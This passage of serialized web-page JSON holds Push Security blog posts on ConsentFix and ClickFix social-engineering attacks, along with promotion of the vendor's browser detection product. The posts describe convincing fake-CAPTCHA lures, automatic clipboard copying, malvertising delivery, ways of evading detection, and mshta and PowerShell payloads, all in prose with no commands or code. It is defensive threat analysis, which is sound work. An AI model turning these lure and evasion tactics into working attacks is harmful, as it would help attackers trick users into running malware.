Service Principals for each of the vulnerable apps and restrict the users that are authorized to access them",{"data":63934,"marks":63935,"value":63936,"nodeType":864},{},[]," to reduce the attack surface of users that can be phished with this method.",{"data":63938,"content":63939,"nodeType":945},{},[63940],{"data":63941,"content":63942,"nodeType":860},{},[63943],{"data":63944,"marks":63945,"value":63946,"nodeType":864},{},[],"Block access to CLI tools via Conditional Access policy and issue exclusions for authorized users/groups. ",{"data":63948,"content":63949,"nodeType":860},{},[63950,63954,63963,63967,63974],{"data":63951,"marks":63952,"value":63953,"nodeType":864},{},[],"Additional resources that may be of use include community-created ",{"data":63955,"content":63957,"nodeType":883},{"uri":63956},"https://github.com/elastic/detection-rules/pull/5485",[63958],{"data":63959,"marks":63960,"value":63962,"nodeType":864},{},[63961],{"type":1455},"Elastic detection rules",{"data":63964,"marks":63965,"value":63966,"nodeType":864},{},[]," for ConsentFix and further mitigation and hunting guidance from ",{"data":63968,"content":63969,"nodeType":883},{"uri":63322},[63970],{"data":63971,"marks":63972,"value":63328,"nodeType":864},{},[63973],{"type":1455},{"data":63975,"marks":63976,"value":25428,"nodeType":864},{},[],{"data":63978,"content":63979,"nodeType":1005},{},[],{"data":63981,"content":63982,"nodeType":1009},{},[63983],{"data":63984,"marks":63985,"value":63987,"nodeType":864},{},[63986],{"type":899},"Learn more about Push Security",{"data":63989,"content":63990,"nodeType":860},{},[63991],{"data":63992,"marks":63993,"value":58470,"nodeType":864},{},[],{"data":63995,"content":63996,"nodeType":860},{},[63997],{"data":63998,"marks":63999,"value":64000,"nodeType":864},{},[],"Push tackles browser-based attacks using behavioral threat detection controls, powered by deep browser telemetry, to provide broad detection and blocking capabilities against attacks happening in the browser. This means analyzing the end-to-end process of a webpage loading/running in the browser, and how the user interacts with the page, to spot universal indicators of bad activity. ",{"data":64002,"content":64003,"nodeType":860},{},[64004],{"data":64005,"marks":64006,"value":64007,"nodeType":864},{},[],"This is the only reliable way to detect malicious websites in a world where IoC-based detections are trivial for attackers to get around. Rather than playing known-bad whac-a-mole, Push detects and blocks even zero-day browser threats in real time.",{"data":64009,"content":64010,"nodeType":860},{},[64011],{"data":64012,"marks":64013,"value":64014,"nodeType":864},{},[],"Push stops browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, ConsentFix, and session hijacking. You don’t need to wait until it all goes wrong either — you can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.",{"data":64016,"content":64017,"nodeType":860},{},[64018,64021,64028,64031,64038],{"data":64019,"marks":64020,"value":31569,"nodeType":864},{},[],{"data":64022,"content":64023,"nodeType":883},{"uri":25603},[64024],{"data":64025,"marks":64026,"value":25609,"nodeType":864},{},[64027],{"type":1455},{"data":64029,"marks":64030,"value":56270,"nodeType":864},{},[],{"data":64032,"content":64033,"nodeType":883},{"uri":1700},[64034],{"data":64035,"marks":64036,"value":25633,"nodeType":864},{},[64037],{"type":1455},{"data":64039,"marks":64040,"value":2924,"nodeType":864},{},[],{"data":64042,"content":64046,"nodeType":996},{"target":64043},{"sys":64044},{"id":64045,"type":1001,"linkType":1002},"4D7zpYAc1tTEAmn2hpkWPe",[],{"data":64048,"content":64049,"nodeType":860},{},[64050],{"data":64051,"marks":64052,"value":21,"nodeType":864},{},[],"ConsentFix debrief: latest community insights, recommendations, and predictions","New insights on the ConsentFix campaign stopped by Push.","2026-01-14T00:00:00.000Z","consentfix-debrief",{"items":64058},[64059,64061],{"sys":64060,"name":342},{"id":6596},{"sys":64062,"name":6593},{"id":6592},{"items":64064},[64065],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":64066},{"url":2740},{"__typename":2059,"sys":64068,"content":64070,"title":64643,"synopsis":64644,"hashTags":59,"publishedDate":64645,"slug":64646,"tagsCollection":64647,"authorsCollection":64653},{"id":64069},"7rVNBW6rYXnXMpI0JEwzgR",{"json":64071},{"data":64072,"content":64073,"nodeType":856},{},[64074,64081,64088,64100,64105,64112,64115,64123,64130,64136,64152,64159,64182,64189,64195,64198,64206,64238,64244,64263,64269,64288,64295,64301,64304,64312,64319,64339,64346,64366,64373,64379,64382,64390,64397,64430,64437,64444,64490,64508,64518,64525,64528,64536,64556,64563,64570,64576,64579,64586,64606,64632,64637],{"data":64075,"content":64076,"nodeType":860},{},[64077],{"data":64078,"marks":64079,"value":64080,"nodeType":864},{},[],"ClickFix attacks have skyrocketed in the last year. This social engineering attack has established itself as a key part of the modern attacker’s toolkit, tricking victims into running malicious code on their device.",{"data":64082,"content":64083,"nodeType":860},{},[64084],{"data":64085,"marks":64086,"value":64087,"nodeType":864},{},[],"As we showcased in our last webinar and at our threat briefing in London earlier this month, ClickFix is evolving fast, in terms of the web pages themselves, the delivery mechanisms by which they are sent to victims, and the nature of the payload and its execution.",{"data":64089,"content":64090,"nodeType":860},{},[64091,64095],{"data":64092,"marks":64093,"value":64094,"nodeType":864},{},[],"One particular example stood out to us in our research. ",{"data":64096,"marks":64097,"value":64099,"nodeType":864},{},[64098],{"type":899},"So, is this the most advanced ClickFix you’ve seen?",{"data":64101,"content":64104,"nodeType":996},{"target":64102},{"sys":64103},{"id":57981,"type":1001,"linkType":1002},[],{"data":64106,"content":64107,"nodeType":860},{},[64108],{"data":64109,"marks":64110,"value":64111,"nodeType":864},{},[],"Let’s break it down further.",{"data":64113,"content":64114,"nodeType":1005},{},[],{"data":64116,"content":64117,"nodeType":1009},{},[64118],{"data":64119,"marks":64120,"value":64122,"nodeType":864},{},[64121],{"type":899},"How ClickFix pages are evolving",{"data":64124,"content":64125,"nodeType":860},{},[64126],{"data":64127,"marks":64128,"value":64129,"nodeType":864},{},[],"The CloudFlare-based lure is a great example of how ClickFix pages themselves are evolving — and becoming increasingly convincing to users. ",{"data":64131,"content":64135,"nodeType":996},{"target":64132},{"sys":64133},{"id":64134,"type":1001,"linkType":1002},"4wJOgtofImjbsekyXMc5Ec",[],{"data":64137,"content":64138,"nodeType":860},{},[64139,64143,64148],{"data":64140,"marks":64141,"value":64142,"nodeType":864},{},[],"This is an incredibly slick example — ",{"data":64144,"marks":64145,"value":64147,"nodeType":864},{},[64146],{"type":899},"it almost looks like Cloudflare shipped a new kind of bot check service. ",{"data":64149,"marks":64150,"value":64151,"nodeType":864},{},[],"The embedded video, countdown timer, and counter for “users verified in the last hour” all serve to increase the sense of authenticity, and put extra pressure on the victim to complete the check. ",{"data":64153,"content":64154,"nodeType":860},{},[64155],{"data":64156,"marks":64157,"value":64158,"nodeType":864},{},[],"There are a couple of extra things happening under the hood here, too:",{"data":64160,"content":64161,"nodeType":941},{},[64162,64172],{"data":64163,"content":64164,"nodeType":945},{},[64165],{"data":64166,"content":64167,"nodeType":860},{},[64168],{"data":64169,"marks":64170,"value":64171,"nodeType":864},{},[],"The page is adapting to the device that you’re visiting from, serving up instructions specific to the user’s Mac (increasingly common as ClickFix expands to support different Operating Systems).",{"data":64173,"content":64174,"nodeType":945},{},[64175],{"data":64176,"content":64177,"nodeType":860},{},[64178],{"data":64179,"marks":64180,"value":64181,"nodeType":864},{},[],"The page is automatically copying the malicious code to the user’s clipboard via JavaScript (which we see in 9/10 cases).",{"data":64183,"content":64184,"nodeType":860},{},[64185],{"data":64186,"marks":64187,"value":64188,"nodeType":864},{},[],"For the past decade or more, user awareness has focused on stopping users from clicking links in suspicious emails, downloading risky files, and entering their username and password into random websites. It hasn’t focused on opening up a program and running a command — so it’s no surprise that this kind of highly convincing page is so effective at duping victims into following the instructions. ",{"data":64190,"content":64194,"nodeType":996},{"target":64191},{"sys":64192},{"id":64193,"type":1001,"linkType":1002},"LiVIyGxdAaUXUfvKjD6ON",[],{"data":64196,"content":64197,"nodeType":1005},{},[],{"data":64199,"content":64200,"nodeType":1009},{},[64201],{"data":64202,"marks":64203,"value":64205,"nodeType":864},{},[64204],{"type":899},"How ClickFix delivery methods are evolving",{"data":64207,"content":64208,"nodeType":860},{},[64209,64213,64221,64225,64234],{"data":64210,"marks":64211,"value":64212,"nodeType":864},{},[],"There’s also the fact that this page wasn’t accessed via email. The top delivery vector for ClickFix attacks that we’ve observed is, in fact, Google Search — in the form of ",{"data":64214,"content":64215,"nodeType":883},{"uri":57992},[64216],{"data":64217,"marks":64218,"value":64220,"nodeType":864},{},[64219],{"type":1455},"poisoned search results and malicious advertising (malvertising)",{"data":64222,"marks":64223,"value":64224,"nodeType":864},{},[],". Attackers are either taking over legitimate sites (there’s a ",{"data":64226,"content":64228,"nodeType":883},{"uri":64227},"https://www.bleepingcomputer.com/news/security/hackers-launch-mass-attacks-exploiting-outdated-wordpress-plugins/",[64229],{"data":64230,"marks":64231,"value":64233,"nodeType":864},{},[64232],{"type":1455},"steady supply of website hosting and CMS vulnerabilities",{"data":64235,"marks":64236,"value":64237,"nodeType":864},{},[]," to take advantage of) or simply vibe-coding their own sites and optimizing them for various search terms. ",{"data":64239,"content":64243,"nodeType":996},{"target":64240},{"sys":64241},{"id":64242,"type":1001,"linkType":1002},"6N9EmH6AaN6Hr4xk6ozATR",[],{"data":64245,"content":64246,"nodeType":860},{},[64247,64251,64260],{"data":64248,"marks":64249,"value":64250,"nodeType":864},{},[],"And because most anti-phishing controls are implemented via email, by using ",{"data":64252,"content":64254,"nodeType":883},{"uri":64253},"https://pushsecurity.com/blog/why-attackers-are-moving-beyond-email-based-phishing?utm_source=thehackernews&utm_medium=sponsored-content&utm_term=article",[64255],{"data":64256,"marks":64257,"value":64259,"nodeType":864},{},[64258],{"type":1455},"non-email delivery vectors, an entire layer of detection opportunity is cut out",{"data":64261,"marks":64262,"value":25428,"nodeType":864},{},[],{"data":64264,"content":64268,"nodeType":996},{"target":64265},{"sys":64266},{"id":64267,"type":1001,"linkType":1002},"1CWsZlLFX9TS53J1uamOG8",[],{"data":64270,"content":64271,"nodeType":860},{},[64272,64276,64284],{"data":64273,"marks":64274,"value":64275,"nodeType":864},{},[],"But even when they are sent via email, ClickFix pages, like other modern phishing sites, are using a range of ",{"data":64277,"content":64279,"nodeType":883},{"uri":64278},"https://pushsecurity.com/blog/phishing-detection-evasion-launch?utm_source=thehackernews&utm_medium=sponsored-content&utm_term=article",[64280],{"data":64281,"marks":64282,"value":29066,"nodeType":864},{},[64283],{"type":1455},{"data":64285,"marks":64286,"value":64287,"nodeType":864},{},[]," that prevent them being flagged by security tools — from email scanners, to web-crawling security tools, to web proxies analyzing network traffic. Detection evasion mainly involves camouflaging and rotating domains to stay ahead of known-bad detections (i.e. blocklists), using bot protection to prevent analysis, and heavily obfuscating page content to stop detection signatures firing. ",{"data":64289,"content":64290,"nodeType":860},{},[64291],{"data":64292,"marks":64293,"value":64294,"nodeType":864},{},[],"Finally, because the code is copied inside the browser sandbox, typical security tools are unable to observe and flag this action as potentially malicious. This means that the last — and only — opportunity for organizations to stop ClickFix is on the endpoint, after the user has attempted to run the malicious code.",{"data":64296,"content":64300,"nodeType":996},{"target":64297},{"sys":64298},{"id":64299,"type":1001,"linkType":1002},"3HiqpIBWWMr5FMi3IBzXcc",[],{"data":64302,"content":64303,"nodeType":1005},{},[],{"data":64305,"content":64306,"nodeType":1009},{},[64307],{"data":64308,"marks":64309,"value":64311,"nodeType":864},{},[64310],{"type":899},"How ClickFix payloads are evolving",{"data":64313,"content":64314,"nodeType":860},{},[64315],{"data":64316,"marks":64317,"value":64318,"nodeType":864},{},[],"It’s not just the ClickFix page and delivery mechanisms that are evolving — the services where code is being run, and the type of payload, are also increasingly varied. ",{"data":64320,"content":64321,"nodeType":860},{},[64322,64326,64335],{"data":64323,"marks":64324,"value":64325,"nodeType":864},{},[],"While the main payloads observed by Push are mshta and PowerShell, ",{"data":64327,"content":64329,"nodeType":883},{"uri":64328},"https://mhaggis.github.io/ClickGrab/techniques.html",[64330],{"data":64331,"marks":64332,"value":64334,"nodeType":864},{},[64333],{"type":1455},"attackers are abusing a wide range of LOLBINS",{"data":64336,"marks":64337,"value":64338,"nodeType":864},{},[]," targeting different services across Operating Systems.",{"data":64340,"content":64341,"nodeType":860},{},[64342],{"data":64343,"marks":64344,"value":64345,"nodeType":864},{},[],"While it is possible to disable the Win+R dialog box and limit the applications that can be run from the File Explorer address bar, it is not possible to similarly restrict users from interacting with other legitimate services to run malicious commands. ",{"data":64347,"content":64348,"nodeType":860},{},[64349,64353,64362],{"data":64350,"marks":64351,"value":64352,"nodeType":864},{},[],"Another recent example termed ",{"data":64354,"content":64356,"nodeType":883},{"uri":64355},"https://expel.com/blog/cache-smuggling-when-a-picture-isnt-a-thousand-words/",[64357],{"data":64358,"marks":64359,"value":64361,"nodeType":864},{},[64360],{"type":1455},"cache smuggling",{"data":64363,"marks":64364,"value":64365,"nodeType":864},{},[]," was also identified by security researchers. This technique combines a ClickFix approach with JavaScript that caches a malicious file posing as a JPG. This means that the ClickFix command executes locally — effectively getting an entire zip file onto the local system without the PowerShell command needing to make any web requests.",{"data":64367,"content":64368,"nodeType":860},{},[64369],{"data":64370,"marks":64371,"value":64372,"nodeType":864},{},[],"Finally, it’s worth considering the future of ClickFix. The current attack path straddles browser and endpoint — what if it could take place entirely in the browser and evade EDR altogether? ",{"data":64374,"content":64378,"nodeType":996},{"target":64375},{"sys":64376},{"id":64377,"type":1001,"linkType":1002},"2rUDKawJnrmZVtxfNcSNha",[],{"data":64380,"content":64381,"nodeType":1005},{},[],{"data":64383,"content":64384,"nodeType":1009},{},[64385],{"data":64386,"marks":64387,"value":64389,"nodeType":864},{},[64388],{"type":899},"What’s the impact of ClickFix evolution?",{"data":64391,"content":64392,"nodeType":860},{},[64393],{"data":64394,"marks":64395,"value":64396,"nodeType":864},{},[],"To summarize:",{"data":64398,"content":64399,"nodeType":941},{},[64400,64410,64420],{"data":64401,"content":64402,"nodeType":945},{},[64403],{"data":64404,"content":64405,"nodeType":860},{},[64406],{"data":64407,"marks":64408,"value":64409,"nodeType":864},{},[],"ClickFix pages are becoming increasingly sophisticated, making it more likely that victims will fall for the social engineering.",{"data":64411,"content":64412,"nodeType":945},{},[64413],{"data":64414,"content":64415,"nodeType":860},{},[64416],{"data":64417,"marks":64418,"value":64419,"nodeType":864},{},[],"ClickFix delivery is evading traditional monitoring controls at the email layer to reach victims. ",{"data":64421,"content":64422,"nodeType":945},{},[64423],{"data":64424,"content":64425,"nodeType":860},{},[64426],{"data":64427,"marks":64428,"value":64429,"nodeType":864},{},[],"ClickFix payloads are becoming more varied and are finding new ways to evade security controls. ",{"data":64431,"content":64432,"nodeType":860},{},[64433],{"data":64434,"marks":64435,"value":64436,"nodeType":864},{},[],"This means that EDR-based interception of malware execution is the last — and only — real line of defense for most organizations, kicking in after the initial script has been run (typically acting as a stager for the real malware). ",{"data":64438,"content":64439,"nodeType":860},{},[64440],{"data":64441,"marks":64442,"value":64443,"nodeType":864},{},[],"Malware execution can and should be intercepted by EDR, but it’s not foolproof. ",{"data":64445,"content":64446,"nodeType":941},{},[64447,64470,64480],{"data":64448,"content":64449,"nodeType":945},{},[64450],{"data":64451,"content":64452,"nodeType":860},{},[64453,64457,64466],{"data":64454,"marks":64455,"value":64456,"nodeType":864},{},[],"Attackers are constantly ",{"data":64458,"content":64460,"nodeType":883},{"uri":64459},"https://www.infostealers.com/article/logins-zip-leverages-chromium-zero-day-stealthy-infostealer-builder-promises-99-credential-theft-in-under-12-seconds/",[64461],{"data":64462,"marks":64463,"value":64465,"nodeType":864},{},[64464],{"type":1455},"developing new tools and capabilities",{"data":64467,"marks":64468,"value":64469,"nodeType":864},{},[]," to bypass EDR in the cat-and-mouse game between attackers and defenders.",{"data":64471,"content":64472,"nodeType":945},{},[64473],{"data":64474,"content":64475,"nodeType":860},{},[64476],{"data":64477,"marks":64478,"value":64479,"nodeType":864},{},[],"Because ClickFix attacks are user initiated, context might be missing that lead to the alert being misclassified. This can mean the difference between the level of priority alert that is raised, and whether or not it is automatically blocked.",{"data":64481,"content":64482,"nodeType":945},{},[64483],{"data":64484,"content":64485,"nodeType":860},{},[64486],{"data":64487,"marks":64488,"value":64489,"nodeType":864},{},[],"If you’re an organization that allows employees and contractors to use unmanaged BYOD devices, there’s a strong chance that there are gaps in your EDR coverage.",{"data":64491,"content":64492,"nodeType":860},{},[64493,64497,64504],{"data":64494,"marks":64495,"value":64496,"nodeType":864},{},[],"This is why attackers are doubling down. According to the ",{"data":64498,"content":64499,"nodeType":883},{"uri":56063},[64500],{"data":64501,"marks":64502,"value":64503,"nodeType":864},{},[],"2025 Microsoft Digital Defense report",{"data":64505,"marks":64506,"value":64507,"nodeType":864},{},[],", ClickFix was the most common initial access method in the last year, accounting for 47% of attacks. That's a pretty significant stat.",{"data":64509,"content":64510,"nodeType":1116},{},[64511],{"data":64512,"content":64513,"nodeType":860},{},[64514],{"data":64515,"marks":64516,"value":64517,"nodeType":864},{},[],"47% of attacks started with ClickFix in the last year, according to Microsoft.",{"data":64519,"content":64520,"nodeType":860},{},[64521],{"data":64522,"marks":64523,"value":64524,"nodeType":864},{},[],"Ultimately, organizations are leaving themselves relying on a single line of defense — if the attack isn’t detected and blocked by EDR, it isn’t spotted at all. ",{"data":64526,"content":64527,"nodeType":1005},{},[],{"data":64529,"content":64530,"nodeType":1009},{},[64531],{"data":64532,"marks":64533,"value":64535,"nodeType":864},{},[64534],{"type":899},"Don’t gamble on a single point of failure ",{"data":64537,"content":64538,"nodeType":860},{},[64539,64543,64552],{"data":64540,"marks":64541,"value":64542,"nodeType":864},{},[],"Push Security’s latest feature, ",{"data":64544,"content":64546,"nodeType":883},{"uri":64545},"https://pushsecurity.com/blog/introducing-malicious-copy-paste-detection?utm_source=thehackernews&utm_medium=sponsored-content&utm_term=article",[64547],{"data":64548,"marks":64549,"value":64551,"nodeType":864},{},[64550],{"type":1455},"malicious copy and paste detection",{"data":64553,"marks":64554,"value":64555,"nodeType":864},{},[],", tackles ClickFix-style attacks at the earliest opportunity through browser-based detection and blocking. This is a universally effective control that works regardless of the lure delivery channel, page style and structure, or the specifics of the malware type and execution.",{"data":64557,"content":64558,"nodeType":860},{},[64559],{"data":64560,"marks":64561,"value":64562,"nodeType":864},{},[],"Unlike heavy-handed DLP solutions that block copy-paste altogether, Push protects your employees without disrupting their user experience or hampering productivity.",{"data":64564,"content":64565,"nodeType":860},{},[64566],{"data":64567,"marks":64568,"value":64569,"nodeType":864},{},[],"By adding a new layer of protection in the browser, security teams can reduce the strain on their EDR and reduce the risk of host-based controls being bypassed through misconfiguration or attacker innovation. ",{"data":64571,"content":64575,"nodeType":996},{"target":64572},{"sys":64573},{"id":64574,"type":1001,"linkType":1002},"sALkMt8UbTZ2f34hKvGLj",[],{"data":64577,"content":64578,"nodeType":1005},{},[],{"data":64580,"content":64581,"nodeType":1009},{},[64582],{"data":64583,"marks":64584,"value":19221,"nodeType":864},{},[64585],{"type":899},{"data":64587,"content":64588,"nodeType":860},{},[64589,64593,64602],{"data":64590,"marks":64591,"value":64592,"nodeType":864},{},[],"If you want to learn more about ClickFix attacks and how they’re evolving, ",{"data":64594,"content":64596,"nodeType":883},{"uri":64595},"https://pushsecurity.com/resources/clickfix",[64597],{"data":64598,"marks":64599,"value":64601,"nodeType":864},{},[64600],{"type":1455},"check out our latest webinar (now available on-demand!)",{"data":64603,"marks":64604,"value":64605,"nodeType":864},{},[]," where we dive into real-world ClickFix examples and demonstrate how ClickFix sites work under the hood. ",{"data":64607,"content":64608,"nodeType":860},{},[64609,64612,64619,64622,64629],{"data":64610,"marks":64611,"value":31569,"nodeType":864},{},[],{"data":64613,"content":64614,"nodeType":883},{"uri":25603},[64615],{"data":64616,"marks":64617,"value":25609,"nodeType":864},{},[64618],{"type":1455},{"data":64620,"marks":64621,"value":56270,"nodeType":864},{},[],{"data":64623,"content":64624,"nodeType":883},{"uri":1700},[64625],{"data":64626,"marks":64627,"value":25633,"nodeType":864},{},[64628],{"type":1455},{"data":64630,"marks":64631,"value":2924,"nodeType":864},{},[],{"data":64633,"content":64636,"nodeType":996},{"target":64634},{"sys":64635},{"id":64193,"type":1001,"linkType":1002},[],{"data":64638,"content":64639,"nodeType":860},{},[64640],{"data":64641,"marks":64642,"value":21,"nodeType":864},{},[],"The most advanced ClickFix yet?","Breaking down the most sophisticated ClickFix page we’ve seen in the wild — and what it tells us about the future of malicious copy-and-paste attacks. ","2025-11-06T00:00:00.000Z","the-most-advanced-clickfix-yet",{"items":64648},[64649,64651],{"sys":64650,"name":342},{"id":6596},{"sys":64652,"name":6593},{"id":6592},{"items":64654},[64655],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":64656},{"url":2740},{"__typename":2059,"sys":64658,"content":64660,"title":65279,"synopsis":65280,"hashTags":59,"publishedDate":65281,"slug":65282,"tagsCollection":65283,"authorsCollection":65289},{"id":64659},"1u8RJxC00HbBhCBVxcDnkK",{"json":64661},{"data":64662,"content":64663,"nodeType":856},{},[64664,64709,64766,64781,64786,64793,64796,64804,64811,64818,64825,64845,64852,64858,64876,64882,64885,64893,64900,64908,64927,64934,64941,64948,64956,64963,64970,64976,64983,65016,65022,65030,65049,65056,65079,65086,65093,65099,65106,65109,65117,65131,65151,65158,65165,65172,65177,65185,65204,65207,65214,65221,65228,65235,65242,65268,65273],{"data":64665,"content":64666,"nodeType":860},{},[64667,64671,64679,64683,64692,64696,64705],{"data":64668,"marks":64669,"value":64670,"nodeType":864},{},[],"One of the biggest security trends in the past year has been the emergence of the attack technique known as ",{"data":64672,"content":64674,"nodeType":883},{"uri":64673},"https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/",[64675],{"data":64676,"marks":64677,"value":315,"nodeType":864},{},[64678],{"type":1455},{"data":64680,"marks":64681,"value":64682,"nodeType":864},{},[],". Various reports indicate that ClickFix is fast becoming one of the most prevalent attack techniques this year, with ",{"data":64684,"content":64686,"nodeType":883},{"uri":64685},"https://www.scworld.com/news/clickfix-phishing-links-increased-nearly-400-in-12-months-report-says",[64687],{"data":64688,"marks":64689,"value":64691,"nodeType":864},{},[64690],{"type":1455},"one study",{"data":64693,"marks":64694,"value":64695,"nodeType":864},{},[]," reporting that email-based ClickFix attacks have increased by 400% YOY, and ",{"data":64697,"content":64699,"nodeType":883},{"uri":64698},"https://web-assets.esetstatic.com/wls/en/papers/threat-reports/eset-threat-report-h12025.pdf",[64700],{"data":64701,"marks":64702,"value":64704,"nodeType":864},{},[64703],{"type":1455},"another",{"data":64706,"marks":64707,"value":64708,"nodeType":864},{},[]," highlighting a 517% increase in the past 6 months. ",{"data":64710,"content":64711,"nodeType":860},{},[64712,64716,64725,64728,64737,64740,64749,64753,64762],{"data":64713,"marks":64714,"value":64715,"nodeType":864},{},[],"ClickFix is known to be regularly used by the Interlock ransomware group and other prolific threat actors. A number of recent public data breaches have been linked to ClickFix attacks as the attack vector, such as ",{"data":64717,"content":64719,"nodeType":883},{"uri":64718},"https://www.bleepingcomputer.com/news/security/kettering-health-confirms-interlock-ransomware-behind-cyberattack/",[64720],{"data":64721,"marks":64722,"value":64724,"nodeType":864},{},[64723],{"type":1455},"Kettering Health",{"data":64726,"marks":64727,"value":3731,"nodeType":864},{},[],{"data":64729,"content":64731,"nodeType":883},{"uri":64730},"https://www.bleepingcomputer.com/news/security/interlock-ransomware-claims-davita-attack-leaks-stolen-data/",[64732],{"data":64733,"marks":64734,"value":64736,"nodeType":864},{},[64735],{"type":1455},"DaVita",{"data":64738,"marks":64739,"value":3731,"nodeType":864},{},[],{"data":64741,"content":64743,"nodeType":883},{"uri":64742},"https://www.infosecurity-magazine.com/news/st-paul-mayor-interlock-data-leak/",[64744],{"data":64745,"marks":64746,"value":64748,"nodeType":864},{},[64747],{"type":1455},"City of St. Paul, Minnesota",{"data":64750,"marks":64751,"value":64752,"nodeType":864},{},[],", and the ",{"data":64754,"content":64756,"nodeType":883},{"uri":64755},"https://www.blackfog.com/texas-tech-cyberattack-1-4m-records-compromised/",[64757],{"data":64758,"marks":64759,"value":64761,"nodeType":864},{},[64760],{"type":1455},"Texas Tech University Health Sciences Centers",{"data":64763,"marks":64764,"value":64765,"nodeType":864},{},[]," (with many more breaches likely to involve ClickFix where the attack vector wasn’t known or disclosed).",{"data":64767,"content":64768,"nodeType":860},{},[64769,64773,64777],{"data":64770,"marks":64771,"value":64772,"nodeType":864},{},[],"Push’s latest feature, ",{"data":64774,"marks":64775,"value":64551,"nodeType":864},{},[64776],{"type":899},{"data":64778,"marks":64779,"value":64780,"nodeType":864},{},[],", tackles ClickFix-style attacks at the earliest opportunity through browser-based detection, with a universally effective control that works regardless of the lure delivery channel, or page style and structure. ",{"data":64782,"content":64785,"nodeType":996},{"target":64783},{"sys":64784},{"id":64574,"type":1001,"linkType":1002},[],{"data":64787,"content":64788,"nodeType":860},{},[64789],{"data":64790,"marks":64791,"value":64792,"nodeType":864},{},[],"Before we get into the specifics of the feature, let’s take a look at what ClickFix is and why it poses a detection and response challenge to security teams.",{"data":64794,"content":64795,"nodeType":1005},{},[],{"data":64797,"content":64798,"nodeType":1009},{},[64799],{"data":64800,"marks":64801,"value":64803,"nodeType":864},{},[64802],{"type":899},"ClickFix 101",{"data":64805,"content":64806,"nodeType":860},{},[64807],{"data":64808,"marks":64809,"value":64810,"nodeType":864},{},[],"ClickFix attacks prompt the user to solve some kind of problem or challenge in the browser — most commonly a CAPTCHA, but also things like fixing an error on a webpage. The name is a little misleading though — the key factor in the attack is that they trick users into running malicious commands on their device by copying malicious code from the page clipboard and running it locally. (For simplicity we’ll keep calling it ClickFix, but we’re not happy about it.)",{"data":64812,"content":64813,"nodeType":860},{},[64814],{"data":64815,"marks":64816,"value":64817,"nodeType":864},{},[],"The copy action is either performed manually by the user, or automatically by the page. Manual copies typically include additional social engineering to lure the victim into hitting CTRL+C, while automatic copies are performed using JavaScript running on the page. Most ClickFix pages we've seen are automatic copies, which makes sense — fewer steps means the user is more likely to follow the instruction.",{"data":64819,"content":64820,"nodeType":860},{},[64821],{"data":64822,"marks":64823,"value":64824,"nodeType":864},{},[],"Most commonly, these attacks are used to deliver remote access software or infostealer malware using stolen session cookies and credentials to facilitate attacks on business apps and services. From there, the attacker simply dumps the data and holds the victim to ransom for its deletion — often dropping ransomware afterwards for double the extortion. ",{"data":64826,"content":64827,"nodeType":860},{},[64828,64832,64841],{"data":64829,"marks":64830,"value":64831,"nodeType":864},{},[],"The attack gives the victim instructions that involve clicking prompts and copying, pasting, and running commands directly in the Windows Run dialog box, Terminal, or PowerShell in order to “fix” the fake problem that they’re experiencing. Variants such as ",{"data":64833,"content":64835,"nodeType":883},{"uri":64834},"https://mrd0x.com/filefix-clickfix-alternative/",[64836],{"data":64837,"marks":64838,"value":64840,"nodeType":864},{},[64839],{"type":1455},"FileFix",{"data":64842,"marks":64843,"value":64844,"nodeType":864},{},[]," have also emerged which instead use the File Explorer Address Bar to execute OS commands.",{"data":64846,"content":64847,"nodeType":860},{},[64848],{"data":64849,"marks":64850,"value":64851,"nodeType":864},{},[],"Links to malicious ClickFix pages are distributed over various delivery channels, with attacks shifting from traditional email-based delivery to social media, instant messaging apps, malicious ads in places like Google Search, and using in-app notifications and messages across numerous SaaS services. ",{"data":64853,"content":64857,"nodeType":996},{"target":64854},{"sys":64855},{"id":64856,"type":1001,"linkType":1002},"1I9ERDY2tuspw5zVMV5DbY",[],{"data":64859,"content":64860,"nodeType":860},{},[64861,64865,64872],{"data":64862,"marks":64863,"value":64864,"nodeType":864},{},[],"ClickFix comes in a variety of lures, including impersonating CAPTCHA, Cloudflare Turnstile, simulating an error loading a webpage, and many more. They have also been observed targeting a ",{"data":64866,"content":64867,"nodeType":883},{"uri":64328},[64868],{"data":64869,"marks":64870,"value":64871,"nodeType":864},{},[],"wide range of services",{"data":64873,"marks":64874,"value":64875,"nodeType":864},{},[]," to execute code. ",{"data":64877,"content":64881,"nodeType":996},{"target":64878},{"sys":64879},{"id":64880,"type":1001,"linkType":1002},"1SG52ta1hcBZ3gYDsSJvsm",[],{"data":64883,"content":64884,"nodeType":1005},{},[],{"data":64886,"content":64887,"nodeType":1009},{},[64888],{"data":64889,"marks":64890,"value":64892,"nodeType":864},{},[64891],{"type":899},"Why are ClickFix attacks so effective?",{"data":64894,"content":64895,"nodeType":860},{},[64896],{"data":64897,"marks":64898,"value":64899,"nodeType":864},{},[],"To understand the effectiveness of ClickFix-style attacks, we need to look more closely at the mechanisms that security teams have at their disposal to counter these attacks. ",{"data":64901,"content":64902,"nodeType":1312},{},[64903],{"data":64904,"marks":64905,"value":64907,"nodeType":864},{},[64906],{"type":899},"Detection challenges during delivery",{"data":64909,"content":64910,"nodeType":860},{},[64911,64915,64923],{"data":64912,"marks":64913,"value":64914,"nodeType":864},{},[],"We’ve written extensively about ",{"data":64916,"content":64917,"nodeType":883},{"uri":12079},[64918],{"data":64919,"marks":64920,"value":64922,"nodeType":864},{},[64921],{"type":1455},"the evolution in phishing techniques and tooling",{"data":64924,"marks":64925,"value":64926,"nodeType":864},{},[],", and what this means for the reliability of traditional detections at the network and endpoint layer. ",{"data":64928,"content":64929,"nodeType":860},{},[64930],{"data":64931,"marks":64932,"value":64933,"nodeType":864},{},[],"The latest generation of phishing pages are dynamically obfuscating the code that loads the web page, implementing custom bot protection (e.g. CAPTCHA or Cloudflare Turnstile), using runtime anti-analysis features, and using legitimate SaaS and cloud services to host and deliver phishing links to cover their tracks.",{"data":64935,"content":64936,"nodeType":860},{},[64937],{"data":64938,"marks":64939,"value":64940,"nodeType":864},{},[],"This means that traditional anti-phishing tools at the email and network layer are struggling to keep up, with many attacks evading email-based detections (or bypassing email altogether). At the same time, proxy-based solutions now see a garbled mess of JavaScript code without the necessary context of what is actually happening in the browser to be able to piece it together effectively. Even if they don’t realize it, this means many organizations are 